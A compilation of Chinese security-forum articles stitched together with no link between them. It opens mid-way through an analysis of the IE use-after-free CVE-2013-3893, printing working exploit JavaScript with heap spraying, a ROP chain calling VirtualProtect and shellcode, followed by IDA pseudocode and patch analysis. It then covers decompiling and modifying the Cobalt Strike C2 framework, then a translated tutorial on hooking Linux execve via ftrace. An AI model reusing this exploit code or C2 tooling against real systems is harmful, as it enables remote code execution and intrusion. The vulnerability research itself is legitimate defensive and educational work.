//tt[i].className = "u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c";//39x2字节
tt[i].className = "u0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04u0c0cu0c04";
//将eax赋值为0c0c0c00
}
Math.sin(1,2);
//alert("123");
}
Math.cos(1,2);
father['outerText']="";
Math.cos(1,2);
father.setCapture();
child.setCapture();
function Heapspray()
{
//var rop_gadget="u0ae2u760e"; //760e0ae2 #mov esp,eax #dec ecx#retn
var rop_gadget="u8d9eu75b4" //0x75b48d9e push ecx # pop esp #pop ebp
+"u1480u7690" //0x76901480 ret
+"u0c0cu0c0c" //4 size
+"u20d8u7690" //VirtualProtect 0x769020d8
+"u0c30u0c0c"// shellcode_addr
+"u0c00u0c0c"//arg4
+"u1000u0000"//arg3
+"u0040u0000"//arg2
+"u0c0cu0c0c";//arg1
var shellcode="uc931u8b64u3041u408bu8b0cu1470u96adu8badu1058u538Bu013cu8bdau7852uda01u728bu0120u31deu41c9u01adu81d8u4738u7465u7550u81f4u0478u6f72u4163ueb75u7881u6408u7264u7565u8be2u2472ude01u8b66u4e0cu8b49u1c72ude01u148bu018eu31dau53c9u5152u6168u7972u6841u694cu7262u4c68u616fu5464uff53u83d2u0cc4u5059uc031ub866u6c6cu6850u3233u642eu7568u6573u5472u54ffu1024uc483u500cuc031u6fb8u4178u5023u6c83u0324u6823u6761u4265u4d68u7365u5473u74ffu1024u54ffu1c24uc483u500cuc031ub866u4646u5450uc031u41b8u4141u5023u6c83u0324u5423uc031uff50u2474uff04u2474u3110u50c0u54ffu2024uc483u0010";
var shellcode_old="u68fcu0a6au1e38u6368ud189u684fu7432u0c91uf48bu7e8du33f4ub7dbu2b04u66e3u33bbu5332u7568u6573u5472ud233u8b64u305au4b8bu8b0cu1c49u098bu698buad08u6a3du380au751eu9505u57ffu95f8u8b60u3c45u4c8bu7805ucd03u598bu0320u33ddu47ffu348bu03bbu99f5ube0fu3a06u74c4uc108u07caud003ueb46u3bf1u2454u751cu8be4u2459udd03u8b66u7b3cu598bu031cu03ddubb2cu5f95u57abu3d61u0a6au1e38ua975udb33u6853u6961u656eu6d68u6769u8b72u53c4u5050uff53ufc57uff53uf857";
var sc="u0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0cu0c0c"+rop_gadget+shellcode;
var nop="u0c0cu0c0c";
var offset=0x5ee-4/2;//0xbdc/2-4/2
while(nop.length<0x10000)
nop+=nop;
var nop_chunk=nop.substring(0,(0x10000/2-sc.length)); //Unicode编码，所以0x10000/2个字节
var sc_nop=sc+nop_chunk;
//组合成单个大小为0x80000的堆块（heap-feng-shui)
while(sc_nop.length<0x100000)
sc_nop+=sc_nop;
sc_nop=sc_nop.substring(0,(0x80000-6)/2-offset);//组合成0x800000的堆块
var offset_pattern=nop.substring(0,offset);
code=offset_pattern+sc_nop;
heap_chunks=new Array();
for(i=0;i<1000;i++)
{
heap_chunks[i]=code.substring(0,code.length);
}
}
}
window.setTimeout("trigger()",1000);
</script>
</body>
</html>
#### EXP执行流分析
直接进入一个gadget，执行栈翻转，esp被翻转到0c0c0c0c然后因为栈操作被继续提高到0c0c0c10，然后ret4跳转。
跳转前esp指向0c0c0c10，因为ret 4跳转之后esp变为了0c0c0c18而不是0c0c0c10
在0c0c0c18埋下VirtualProtect的地址，成功进入程序流。
VirtualProtect其实只是VirtualProtectEX的一个外壳，在函数内部，将参数分别入栈再调用VirtualProtectEX。查看我们入栈的数据是否正确，发现EX函数比原函数多了一个参数。
执行之后eax返回1，说明执行成功，shellcode所在地址已经能够执行。
进入shellcode执行，成功弹窗。
### 1.1.5漏洞原因和补丁分析
我们使用IDA逆向分析关键函数SetMouseCapture。
IDA 生成的伪代码
void __userpurge CDoc::SetMouseCapture(int a1@<eax>, CDoc *a2@<ecx>, CDoc *lpMem, int a4, void *a5, int a6, int a7, int a8)
{
CDoc *v8; // ebx@1
int v9; // edi@1
int v10; // eax@6
int v11; // ecx@7
void *v12; // eax@11
CImplPtrAry *v13; // ecx@15
struct CElementCapture *v14; // esi@15
int v15; // ecx@17
int v16; // eax@18
CMessage *v17; // ST14_4@22
CMessage *v18; // ecx@22
CElementCapture *v19; // ecx@23
CImplPtrAry *v20; // ST14_4@24
CServer *v21; // ecx@27
void *v22; // [sp+0h] [bp-A8h]@0
char v23; // [sp+10h] [bp-98h]@17
int v24; // [sp+14h] [bp-94h]@17
int v25; // [sp+A4h] [bp-4h]@6
void *lpMema; // [sp+B0h] [bp+8h]@12
v8 = lpMem;
v9 = a1;
if ( *((_DWORD *)lpMem + 469) & 0x1000 ) //没有对TreeNode对象是否在Dom做检查
v9 = 0;
if ( v9 )
{
v25 = (*((_DWORD *)lpMem + 65) >> 2) - 1;
v10 = v25;
if ( v25 < 0 )
goto LABEL_31;
v11 = *((_DWORD *)lpMem + 67) + 4 * v25;
do
{
if ( *(_DWORD *)(*(_DWORD *)v11 + 8) == v9 )
break;
--v10;
v11 -= 4;
}
while ( v10 >= 0 );
if ( v10 < 0 )
{
LABEL_31:
v12 = ATL_malloc(0x10u);
lpMema = (void *)(v12 ? CElementCapture::CElementCapture(v12, a7, a8, a4, a5) : 0);
if ( lpMema )
{
v14 = CDoc::GetLastCapture(v8);
if ( v14 && CDoc::HasContainerCapture(v8, *(struct CElement ***)(v9 + 20)) )
{
CMessage::CMessage(&v23, 0);
v24 = 533;
CDoc::PumpMessage(v8, (struct CMessage *)&v23, 0, 0);
if ( v14 == CDoc::GetLastCapture(v8) )
{
v16 = *((_DWORD *)v14 + 3);
if ( !(v16 & 2) )
{
v15 = *((_DWORD *)v14 + 2);
if ( !(*(_DWORD *)(v15 + 28) & 0x8000000) )
{
*((_DWORD *)v14 + 3) = v16 | 2;
*((_DWORD *)v8 + 469) |= 0x1000u;
CElement::FireEvent(
*((CElement **)v14 + 2),
(const struct PROPERTYDESC_BASIC *)&s_propdescCElementonlosecapture,
1,
0,
-1,
0,
0);
*((_DWORD *)v8 + 469) &= 0xFFFFEFFF;
}
}
}
if ( *((_DWORD *)v8 + 65) & 0xFFFFFFFC )
{
if ( v14 == CDoc::GetLastCapture(v8) )
{
CElementCapture::~CElementCapture(v19);
CBlockElement::operator delete((void *)v14);
CImplPtrAry::Delete(v20, (int)v22);
}
CImplPtrAry::Append(v19, v22);
}
else
{
CElementCapture::~CElementCapture((CElementCapture *)v15);
CBlockElement::operator delete(lpMema);
v18 = v17;
}
CMessage::~CMessage(v18);
}
else
{
CImplPtrAry::Append(v13, v22);
if ( !v14 )
CServer::SetCapture(v21, 1);
}
}
}
}
else
{
CDoc::ClearMouseCapture(a2, lpMem);
}
}
对比微软的补丁可以知道，微软在进入LABEL_31:段前增加了判断，TreeNode是否在Dom树上，如果TreeNode不在Dom树上就不会进入LABEL_31的，也就不会触发漏洞。
经过之前的动态分析，可以知道进入LABEL_31之后会进入PumpMessage->NodeAddRef->GetInterface，最后导致UAF触发任意代码执行。
## 参考文献
[1].Use After Free Exploits for Humans Part 1 – Exploiting MS13-080 on IE8
winxpsp3[DB/OL].
<https://webstersprodigy.net/2014/11/19/use-after-free-exploits-for-humans-part-1-exploiting-ms13-080-on-ie8-winxpsp3/,2014-9-19>
[2]Payload_82.([https://www.52pojie.cn/home.php?mod=space&uid=817719).暴雷漏洞](https://www.52pojie.cn/home.php?mod=space&uid=817719\).%E6%9A%B4%E9%9B%B7%E6%BC%8F%E6%B4%9E)
（CVE-2012-1889）个人漏洞分析报告[DB/OL].<https://www.52pojie.cn/thread-730324-1-1.html,2018-4-24>
[3]0x9A82.IE浏览器漏洞综合利用技术：堆喷射技术[DB/OL].<https://bbs.pediy.com/thread-223106.htm,2017-12-4>
[4]Geek青松.(<https://me.csdn.net/u010142102).CVE-2013-3893>
IE浏览器UAF漏洞分析[DB/OL]。<https://blog.csdn.net/u010142102/article/details/89207164,2019-04-11>
[5]luobobo.CVE-2013-3893
详细分析[DB/OL].<https://bbs.pediy.com/thread-226879.htm,2018-5-19> | 社区文章 |
**Posted on March 16, 2022 by AgeloVito@深蓝攻防实验室**
* * *
# 0x01 场景概述
在使用CobaltStrike的过程中，经常会配合一些第三方工具，比如一些带web探测功能的工具，这些第三方工具会将获取到的webtitle或其他内容通过
**beacon console >** 回显给我们，而这个时候，获取到的webtitle大概率是utf-8编码格式，甚至还带中文，很多时候回显是乱码的。
或者我们再来看看以下小场景，在一个简体中文的win10系统上新建两个文件，分别以utf-8和gb2312两种编码格式存储 中文+英文
的内容，gb2312.txt 和 utf-8.txt。
然后我们从 _ **beacon console > **_读取这两个文本的内容可以发现
gb2312编码的gb2312.txt文件中的中文字符显示正常，而utf-8.txt文件中的中文字符则显示乱码。
通过以上两个小场景的简单fuzz，可以得出一个初步的大概结论，该现象的 ** _原因是因为编码不统一_** 导致的，问题转变为哪里的编码不统一。
# 0x02 编码定位
要精确的定位问题所在并寻找到比较科学的解决方案就离不开debug，cobaltstrike属于cs架构，从 ** _MANIFEST.MF_**
中我们可以得知原作者的开发环境为 **_1.7.0 _80-b15 (Oracle Corporation)_**
，所以我们的反编译环境只需要大于该jdk版本即可。
client和server的代码都在同一个jar包中，因此我们需要将client端和server端的debug环境都跑起来。
## 1、环境搭建
整体的环境严格来说应该分为三端，分别为 client.jar
(cs使用者)，server.jar(teamserver端)，client.exe(被控者机器)，而cobaltstike的代码量和涉及到的技术含量也不少，所以最佳的选择是增量二开从而减少工作量，我们的需求只是对cs的编码问题进行改善或者增强。
### 反编译源代码
使用 **_IDEA_** 自带的反编译插件 **java-decompiler.jar** 对cobalstrike.jar先进行一次整体的反编译
java -cp java-decompiler.jar org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true cs_bin/cobaltstrike.jar cs_src/
反编译全部完成后的代码会被重新打包成 **_cobaltstrike.jar_** ，将其解压就得到了我们需要的所有源代码
### 构建二开环境
拿到反编译后的源代码，使用 **_IDEA_** 和原始 **_cobalstrike.jar_**
就可以构建一个增量二开的环境了，过程细节不在本文中展开，可参考 **_@RedCore_** 之前的公开课。
想要修改哪部分的代码就从之前反编译完得到的代码文件中copy该到相应工程目录中进行修改，最后 **_Build Artifacts_**
即可，经过修改的代码文件就会在依赖于原始jar包的环境下被编译然后增量替换进原始的cobalstrike.jar中。
### 配置调试环境
#### 配置server端
**_Main class_** 填写server端的主类
server.TeamServer
**_VM options_** 填写teamserver文件中的启动参数
-XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=50050 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
**_Program arguments_** 填写我们在运行 teamserver 时给的参数 (./teamserver 172.16.119.1
123456)
172.16.119.1 123456
ip password
在idea中以调试模式开启teamserver
#### 配置client端
**_VM options_** 配置参数
-Dfile.encoding=UTF-8 -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC
server端和client端的调试环境到这里就成功搭建起来了
## 2、流程分析
每一次client.exe和server.jar的交互都会在metadata中携带当前系统编码信息，其携带的metadata将在
**_beacon.BeaconC2.process_beacon _metadata()_** 方法中调用 **commcon.
_WindowsCharsets.getName()_** 将其解析为对应的编码类型的值
其中 **WindowsCharsets.** _ **getName()** _通过_ **switch case** _维护了一个解析对应表
包含了几乎所有的编码类型
随后在_ **beaconEntry = new BeaconEntry(var6, var9, var2, var11)** _处将
beaconEntry 通过带参构造函数实例化，并将编码类型值复制给 **_beaconEntry.chst_** 属性
**_common.BeaconEntry_** 会封装关于一条会话信息的所有信息供在其他业务层级的代码中流通，一些字段的含义通过命名就能猜出个八九不离十
最后在 ** _this.getCharsets().register(beaconEntry.getId(), var9, var10)_**
处将编码信息进行注册
其中 **_register()_** 的实现是在 **_beacon.BeaconCharsets.register()_**
public void register(Map map, String var2, String var3) {
if (var3 != null) {
try {
Charset var4 = Charset.forName(var3);
synchronized(this) {
map.put(var2, var4);
}
} catch (Exception var8) {
MudgeSanity.logException("Could not find charset '" + var3 + "' for Beacon ID " + var2, var8, false);
}
}
}
我们测试一下在这里修改被注册的编码类型是否可以起到作用，我们将其强制赋值为utf-8
**_bingo！！！_**
起作用了，utf-8编码的内容现在能显示正常而gb2312编码的内容变成了乱码
流程走清楚，并且找到了能实现效果的代码位置，接下来就只需要思考如何更好的二开了。
# 0x03 功能实现
为了更好的实用性，我们选取仿造 **_Note_** 功能 去实现一个可以动态修改当前编码的功能，包括以下两个部分
1、 ** _beacon console > _**
2、 **Note...**
代码分为client端和server端，其中各部分处理流程如下所诉
## client.jar 端
**_beacon.TaskBeacon.Note()_** 处理的是 **_beacon console > _** 中输入的 note xxx 指令
在 _**aggressor.windows.BeaconConsole**_ 中第一次处理该请求
if (var3.is("note")) {
if (var3.verify("Z")) {
var4 = var3.popString();
this.master.Note(var4);
} else if (var3.isMissingArguments()) {
this.master.Note("");
}
}
判断 **beacon console >** 中的 _**note**_ 指令，并调用 **_this.master.Note()_** ，其中
_**this.master**_ 的定义为
**protected TaskBeacon master;**
在 **_beacon.TaskBeacon.Note()_** 中处理 **_note xxx_ **指令
最终在 **_common.TeamQueue.run()_** 将 _**beacon console >**_ 中需要执行的指令通过
**_TeamQueue.this.socket.writeObject(req);_**
发送给 teamserver 端，其实client和server的所有交互最终都会通过此处。
## server.jar 端
server 端接收到指令后在 **_server.Beacons.buildBeaconModel()_** 中进行处理，其中
**_this.notes_** 的定义为
**_protected Map notes = new HashMap();_**
其中维护的是 **_beaconId_** 和 **_note_** 的键值对
**_this.notes.get(beaconEntry.getId())_** 的返回值是 ** _Object_** 类型 Object + ""
的作用是强制类型转换（一点点coder的高级小技巧 ~ ）
if (this.notes.containsKey(beaconEntry.getId())) {
beaconEntry.setNote(this.notes.get(beaconEntry.getId()) + "");
}
组装完 **_beaconEntry_** 之后 流程走到 **_server.Beacons.moment()_** 并进行广播
**_this.resources.broadcast("beacons", this.buildBeaconModel());_**
后续的动作我们就不用在跟下去了，广播的具体实现在这里也不再深入跟进了。
## 代码实现
在分析完 **_note_** 命令功能的整体实现以后，仿造其代码实现一个动态修改编码功能就很容易了，本文不再累述，有兴趣的去看看 **_note_**
的相关代码 **ctrl c +v** 大法就能很容易实现。其中 **_gui (Note...)_** 的实现原作者使用的是在
**_default.cna_** 写的，我们也仿造其实现就好，这里选用的是下拉框，可供选择的编码类型给了9中，能满足大部分的需求场景，其中包括
**_("UTF-8", "GBK", "GB2312", "GB18030", "ISO-8859-1", "BIG5", "UTF-16",
"UTF-16LE", "UTF-16BE")_** ，完整代码如下所示。
item "Setchar" {
$bid = $1;
$dialog = dialog("Setchar", %(charsets => ""), &Setchar);
dialog_description($dialog, "Set the Beacon's Charset ");
drow_combobox($dialog, "charsets", "charset:", @("", "UTF-8", "GBK", "GB2312", "GB18030", "ISO-8859-1", "BIG5", "UTF-16", "UTF-16LE", "UTF-16BE"));
dbutton_action($dialog, "Setchar");
dialog_show($dialog);
}
sub Setchar {
binput($bid, "setchar $3['charsets']");
beacon_setchar($bid, $3['charsets']);
}
看着一般，能用就行 ~
# 0x04 效果演示
## 1、在console中的效果
添加了一个 **_setchar_** 命令来设置当前 **_beacon_**
编码，并在视图中将其展示出来，默认显示的初始值是从metadata中解析出来的。
Use: setchar [text]
e.g: setchar utf-8 | setchar
set a charset to this Beacon.
在console中使用setchar命令将其设置为utf-8
嗯 ~
能用
## 2、使用gui设置的效果
图形菜单的功能其实更实用，和 **_Note..._** 功能一样，它能方便操作多个beacon。
选择空值就会将编码重置会初始值
嗯~
确实能用
# 0x05 一些总结
其实调试的过程并不是那么快速，本文只是直接给出了记忆中的结论。刚开始如何实现功能也没想的太好，尝试过一下其他的粗暴实现，觉得实在是不够看，在后来调试过程中偶然想到可以借鉴note功能，并且它的功能场景完全符合需求，整个流程分析明白了，代码实现起来就很简单了，最终才做出了这比较满意的效果。
最后，一年一度的节日快到了，想获取完整修改版的朋友，带简历私我哟，We Want You ！！！
wechat me at Base64._decode(" _bnVsbC1fLTQwMw==_ ") | 社区文章 |
本文是[《Hooking Linux Kernel Functions, Part 2: How to Hook Functions with
Ftrace》](https://www.apriorit.com/dev-blog/546-hooking-linux-functions-2)的翻译文章
# 前言
Ftrace是一个用于跟踪Linux内核函数的Linux内核框架。
但是，当我们尝试启用系统活动监控以阻止可疑进程时，我们的团队设法找到了一种使用ftrace的新方法。
事实证明，ftrace允许你从可加载的GPL模块安装钩子而无需重建内核。 此方法适用于x86_64体系结构的Linux内核版本3.19和更高版本。
这是我们关于Hooking Linux内核函数调用的三部分系列的第二部分。 在本文中，我们将解释如何使用ftrace来hook
Linux内核中的关键函数调用。
你可以阅读本系列的[第一部分](https://xz.aliyun.com/t/2947)，以了解有关可用于完成此任务的其他方法的更多信息。
# 一种新方法：使用ftrace进行Linux内核hooking
什么是ftrace？ 基本上，ftrace是一个用于在函数级别跟踪内核的框架。 该框架自2008年以来一直在开发中，具有相当令人印象深刻的函数集。
使用ftrace跟踪内核函数时，通常可以获得哪些数据？ Linux ftrace显示调用图，跟踪函数调用的频率和长度，按模板过滤特定函数等。
在本文的下面，可以找到对官方文档和资源的引用，你可以使用它们来了解有关ftrace函数的更多信息。
ftrace的实现基于编译器选项-pg和-mfentry。 这些内核选项在每个函数的开头插入一个特殊跟踪函数的调用 —— mcount()或
**fentry** ()。 在用户程序中，分析器使用此编译器功能来跟踪所有函数的调用。 但是，在内核中，这些函数用于实现ftrace框架。
当然，从每个函数调用ftrace都是非常昂贵的。这就是为什么有一种针对流行架构的优化——动态ftrace。如果没有使用ftrace，它几乎不会影响系统，因为内核知道调用mcount()或
**fentry**
()的位置，并在早期阶段将机器码替换为nop(一个不执行任何操作的特定指令)。当Linux内核跟踪打开时，ftrace调用会被添加到必要的函数中。
# 必要函数说明
下面的结构可以用来描述每个钩子函数:
/**
* struct ftrace_hook describes the hooked function
*
* @name: the name of the hooked function
*
* @function: the address of the wrapper function that will be called instead
* of the hooked function
*
* @original: a pointer to the place where the address
* of the hooked function should be stored, filled out during installation
* of the hook
*
* @address: the address of the hooked function, filled out during installation
* of the hook
*
* @ops: ftrace service information, initialized by zeros;
* initialization is finished during installation of the hook
*/
struct ftrace_hook {
const char *name;
void *function;
void *original;
unsigned long address;
struct ftrace_ops ops;
};
用户只需要填写三个字段:name、function和original。其余字段被认为是实现细节。你可以把所有Hook函数的描述放在一起，并使用宏使代码更紧凑:
#define HOOK(_name, _function, _original) \
{ \
.name = (_name), \
.function = (_function), \
.original = (_original), \
}
static struct ftrace_hook hooked_functions[] = {
HOOK("sys_clone", fh_sys_clone, &real_sys_clone),
HOOK("sys_execve", fh_sys_execve, &real_sys_execve),
};
下面是钩子函数包装的结构：
/*
* It’s a pointer to the original system call handler execve().
* It can be called from the wrapper. It’s extremely important to keep the function signature
* without any changes: the order, types of arguments, returned value,
* and ABI specifier (pay attention to “asmlinkage”).
*/
static asmlinkage long (*real_sys_execve)(const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp);
/*
* This function will be called instead of the hooked one. Its arguments are
* the arguments of the original function. Its return value will be passed on to
* the calling function. This function can execute arbitrary code before, after,
* or instead of the original function.
*/
static asmlinkage long fh_sys_execve (const char __user *filename,
const char __user *const __user *argv,
const char __user *const __user *envp)
{
long ret;
pr_debug("execve() called: filename=%p argv=%p envp=%p\n",
filename, argv, envp);
ret = real_sys_execve(filename, argv, envp);
pr_debug("execve() returns: %ld\n", ret);
return ret;
}
现在，钩子函数有最少的额外代码。唯一需要特别注意的是函数签名。它们必须完全相同;否则，参数就会被错误地传递，一切都会出错。不过，对于hooking系统调用来说，这并不重要，因为它们的处理程序非常稳定，而且出于性能原因，系统调用ABI和函数调用ABI在寄存器中使用相同的参数布局。但是，如果要hook其他函数，请记住内核没有稳定的接口。
# 初始化ftrace
我们的第一步是查找和保存钩子函数地址。你可能知道，在使用ftrace时，Linux内核跟踪可以通过函数名执行。但是，我们仍然需要知道原始函数的地址才能调用它。
您可以使用kallsyms（所有内核符号的列表）来获取所需函数的地址。 此列表不仅包括为模块导出的符号，实际上还包括所有的符号。
获取钩子函数地址的过程如下所示：
static int resolve_hook_address (struct ftrace_hook *hook)
hook->address = kallsyms_lookup_name(hook->name);
if (!hook->address) {
pr_debug("unresolved symbol: %s\n", hook->name);
return -ENOENT;
}
*((unsigned long*) hook->original) = hook->address;
return 0;
}
接下来，我们需要初始化ftrace_ops结构。 这里我们有一个必要的字段func，指向回调。 但是，需要一些关键flags：
int fh_install_hook (struct ftrace_hook *hook)
int err;
err = resolve_hook_address(hook);
if (err)
return err;
hook->ops.func = fh_ftrace_thunk;
hook->ops.flags = FTRACE_OPS_FL_SAVE_REGS
| FTRACE_OPS_FL_IPMODIFY;
/* ... */
}
fh_ftrace_thunk()特性是ftrace在跟踪函数时调用的回调函数。我们稍后将讨论这个回调。hooking需要这些flags——它们命令ftrace保存和恢复处理器寄存器，我们可以在回调中更改这些寄存器的内容。
现在我们准备好开始hook了。首先，我们使用ftrace_set_filter_ip()为所需的函数打开ftrace实用程序。其次，我们使用register_ftrace_function()给ftrace权限来调用我们的回调:
int fh_install_hook (struct ftrace_hook *hook)
{
/* ... */
err = ftrace_set_filter_ip(&hook->ops, hook->address, 0, 0);
if (err) {
pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
return err;
}
err = register_ftrace_function(&hook->ops);
if (err) {
pr_debug("register_ftrace_function() failed: %d\n", err);
/* Don’t forget to turn off ftrace in case of an error. */
ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
return err;
}
return 0;
}
要关闭钩子，我们只需反向重复相同的操作：
void fh_remove_hook (struct ftrace_hook *hook)
{
int err;
err = unregister_ftrace_function(&hook->ops);
if (err)
pr_debug("unregister_ftrace_function() failed: %d\n", err);
}
err = ftrace_set_filter_ip(&hook->ops, hook->address, 1, 0);
if (err) {
pr_debug("ftrace_set_filter_ip() failed: %d\n", err);
}
}
当unregister_ftrace_function()调用结束时，可以保证系统中不会激活已安装的回调函数或包装器。我们可以卸载hook模块，而不用担心我们的函数仍然在系统的某个地方执行。接下来，我们提供了函数hook过程的详细描述。
# 用ftrace hook函数
那么如何配置内核函数hook呢?这个过程非常简单:ftrace能够在退出回调后更改注册状态。通过改变寄存器%rip——一个指向下一个执行指令的指针——我们可以改变处理器执行的函数。换句话说，我们可以强迫处理器无条件地从当前函数跳到我们的函数并接管控制权。
这是ftrace回调的样子:
static void notrace fh_ftrace_thunk(unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
regs->ip = (unsigned long) hook->function;
}
我们使用宏container_of()和struct ftrace_hook中嵌入的struct ftrace_ops的地址为我们的函数获取struct
ftrace_hook的地址。 接下来，我们使用处理程序的地址替换struct pt_regs结构中的寄存器％rip的值。
对于x86_64以外的体系结构，此寄存器可以具有不同的名称（如PC或IP）。 但基本思想仍然适用。
请注意，为回调添加的notrace说明符需要特别注意。 此说明符可用于标记Linux内核跟踪中禁止使用ftrace的函数。
例如，你可以标记跟踪过程中使用的ftrace函数。
通过使用这个说明符，如果不小心从ftrace回调中调用了一个函数，系统就不会挂起，因为ftrace正在跟踪这个函数。
ftrace回调经常使用禁用抢占来调用(就像kprobes一样)，尽管可能有一些例外。但是在我们的例子中，这个限制并不重要，因为我们只需要替换pt_regs结构中%rip值的8个字节。
由于包装函数和原始函数在相同的上下文中执行，因此两个函数具有相同的限制。 例如，如果你hook一个中断处理程序，那么在包装函数中休眠仍然是不可能的。
# 防止递归调用
在我们之前给出的代码中有一个问题:当包装函数调用原始函数时，原始函数将被ftrace再次跟踪，从而导致无穷无尽的递归。通过使用parent_ip——ftrace回调参数之一，我们想出了一种非常巧妙的方法来打破这个循环——它包含了调用钩子函数的返回地址。通常，这个参数用于构建函数调用图。但是，我们可以使用这个参数来区分第一个跟踪函数调用和重复调用。
差异非常显著:在第一次调用期间，参数parent_ip将指向内核中的某个位置，而在重复调用期间，它只指向包装函数内部。你应该只在第一个函数调用期间传递控制。所有其他调用都必须执行原始函数。
我们可以通过将地址与当前模块的边界与我们的函数进行比较来运行入口测试。 但是，只有当模块不包含调用钩子函数的包装函数以外的任何内容时，此方法才有效。
否则，你需要更挑剔。
这是一个正确ftrace回调的样子：
static void notrace fh_ftrace_thunk (unsigned long ip, unsigned long parent_ip,
struct ftrace_ops *ops, struct pt_regs *regs)
{
struct ftrace_hook *hook = container_of(ops, struct ftrace_hook, ops);
/* Skip the function calls from the current module. */
if (!within_module(parent_ip, THIS_MODULE))
regs->ip = (unsigned long) hook->function;
}
这种方法有三个主要优点:
* 较低的开销。只需要执行几个比较和减法，而不需要获取任何自旋锁或遍历列表。
* 它不必是全局的。由于没有同步，这种方法与抢占是兼容的，并且不绑定到全局进程列表。因此，你甚至可以跟踪中断处理程序。
* 函数没有限制。这种方法没有主要的kretprobes缺点，可以支持开箱即用的任何数量的跟踪函数激活(包括递归)。在递归调用期间，返回地址仍然位于模块外部，因此回调测试可以正确工作。
在下一节中，我们将更详细地了解hook过程，并描述ftrace是如何工作的。
# hooking程序的方案
那么，ftrace是如何工作的呢?让我们来看一个简单的示例:你在终端中键入了命令，以查看当前目录中的文件列表。命令行解释器(比如Bash)使用标准C库中的常用函数fork()和execve()来启动一个新进程。在系统内部，这些函数分别通过系统调用clone()和execve()来实现。我们建议hook
execve()系统调用，以获得启动新进程的控制权。
下面的图给出了一个ftrace示例，并说明了hooking处理函数的过程。
在此图中，我们可以看到用户进程（蓝色）如何执行对内核（红色）的系统调用，其中ftrace框架（紫色）从我们的模块（绿色）调用函数。
下面，我们详细描述了这个过程的每一步:
1. SYSCALL指令由用户进程执行。该指令允许切换到内核模式，并让低级系统调用处理程序entry_SYSCALL_64()负责。此处理程序负责64位内核上64位程序的所有系统调用。
2. 一个特定的处理器接收控制。内核快速完成汇编程序上实现的所有低级任务，并将控制权移交给高级的do_syscall_64()函数，该函数使用c语言编写。该函数到达系统调用处理程序表sys_call_table，并通过系统调用号调用特定的处理程序。在我们的示例中，它是sys_execve()函数。
3. 调用ftrace。在每个内核函数的开头都有一个 **fentry** ()函数调用。该函数由ftrace框架实现。在不需要跟踪的函数中，这个调用被替换为nop指令。然而，对于sys_execve()函数，没有这样的调用。
4. Ftrace调用我们的回调。Ftrace调用所有注册的跟踪回调，包括我们的。其他回调不会干扰，因为在每个特定的位置，只能安装一个回调来更改%rip寄存器的值。
5. 回调函数执行hooking。这个回调函数查看在do_syscall_64()函数内部的parent_ip引导的值——因为它是调用sys_execve()处理程序的特定函数——并决定hook函数，在pt_regs结构中更改寄存器%rip的值。
6. Ftrace恢复寄存器的状态。在FTRACE_SAVE_REGS标志之后，框架在调用处理程序之前将注册状态保存在pt_regs结构中。当处理结束时，从相同的结构恢复寄存器。我们的处理程序修改了寄存器%rip——一个指向下一个执行函数的指针——这会导致将控制传递到一个新的地址。
7. 包装函数接收控制。无条件跳转使它看起来像sys_execve()函数的激活已经终止。不是这个函数，而是fh_sys_execve()函数。同时，处理器和内存的状态保持不变，因此我们的函数接收原始处理程序的参数，并将控制权返回给do_syscall_64()函数。
8. 原函数是由包装函数调用的。现在，系统调用在我们的控制之下。在分析系统调用的上下文和参数之后，fh_sys_execve()函数可以允许或禁止执行。如果禁止执行，函数返回一个错误代码。否则，函数需要重复对原始处理程序的调用，并且通过钩子设置期间保存的real_sys_execve指针再次调用sys_execve()。
9. 回调获得控制权。就像在sys_execve()的第一次调用期间，控件通过ftrace到我们的回调。但这一次，这个过程以不同的方式结束。
10. 回调什么也不做。sys_execve()函数不是由内核从do_syscall_64()调用的，而是由我们的fh_sys_execve()函数调用的。因此，寄存器保持不变，sys_execve()函数照常执行。唯一的问题是，ftrace两次看到sys_execve()的入口点。
11. 包装函数获得控制权。系统调用处理程序sys_execve()第二次将控制权交给我们的fh_sys_execve()函数。现在，一个新进程的启动已经接近完成。我们可以看到execve()调用是否完成了一个错误，研究新的进程，对日志文件做一些注释，等等。
12. 内核接收控制。最后，运行完fh_sys_execve()函数，并返回do_syscall_64()函数。该函数将调用视为正常完成的调用，而内核照常运行。
13. 控制权转交给用户进程。最后，内核执行IRET指令(或SYSRET，但对于execve()只能执行IRET)，为新用户进程安装寄存器，并将处理器切换到用户代码执行模式。系统调用结束了，新进程的启动也结束了。
如你所见，用ftrace hooking Linux内核函数调用的过程并不复杂。
# 结论
尽管ftrace的主要目的是跟踪Linux内核函数调用，而不是hook它们，但我们的创新方法被证明既简单又有效。但是，我们上面描述的方法只适用于内核版本3.19或更高版本，并且只适用于x86_64架构。
在本系列的[第三部分](https://www.apriorit.com/dev-blog/547-hooking-linux-functions-3)(也是最后一部分)中，我们将介绍ftrace的主要优点和缺点，以及如果你决定实现这种方法，可能会遇到的一些意外惊喜。与此同时，你还可以了解安装钩子的另一种不同寻常的解决方案——[使用带有LD_PRELOAD的GCC属性构造函数](https://www.apriorit.com/dev-blog/537-using-constructor-attribute-with-ld-preload)。 | 社区文章 |
# 写在最前
**先知技术社区独家发表本文，如需要转载，请先联系先知技术社区或本人授权，未经授权请勿转载。**
